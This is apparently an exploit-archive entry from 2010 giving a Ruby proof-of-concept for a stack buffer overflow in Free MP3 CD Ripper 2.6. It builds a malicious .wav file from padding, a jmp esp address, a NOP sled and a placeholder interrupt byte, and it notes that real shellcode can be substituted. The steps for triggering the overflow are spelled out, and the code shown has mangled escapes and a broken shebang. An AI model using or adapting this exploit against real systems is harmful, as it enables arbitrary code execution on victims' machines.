[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Free MP3 CD Ripper 2.6 0-day
# Published : 2010-03-30
# Author : Richard Leahy
# Previous Title : Apple Safari 4.0.4 & Google Chrome 4.0.249 CSS style Stack Overflow DoS/PoC
# Next Title : iPhone FTP Server By Zhang Boyang Remote DoS Exploit
# Exploit Title: Free MP3 CD Ripper 2.6 (wav) 0-day
# Date: 30/03/2010
# Author: Richard leahy
# Software Link: http://www.soft32.com/Download/Free/Free_MP3_CD_Ripper/4-250188-1.html
# Version: 2.6
# Tested on: Windows Xp Sp2
#to exploit this open up the application select file -> wav converter -> wav to mp3
#use your favourite programming language and print out the contents into a text file. save the text #file as a .wav
#then open up the wav file and boom.
#feel free to email me leahy_rich@hotmail.com
#code
!#/usr/bin/env ruby
nop = "x90" # nop
shellcode = "xCC" #just an interupt can be replaced by proper shellcode
jmp_esp = "x32xfaxcax76" #find a jmp esp i will use imagehlp , little endian so reverse it
boom = "A" * 4112 + jmp_esp + nop * 50 + shellcode
puts boom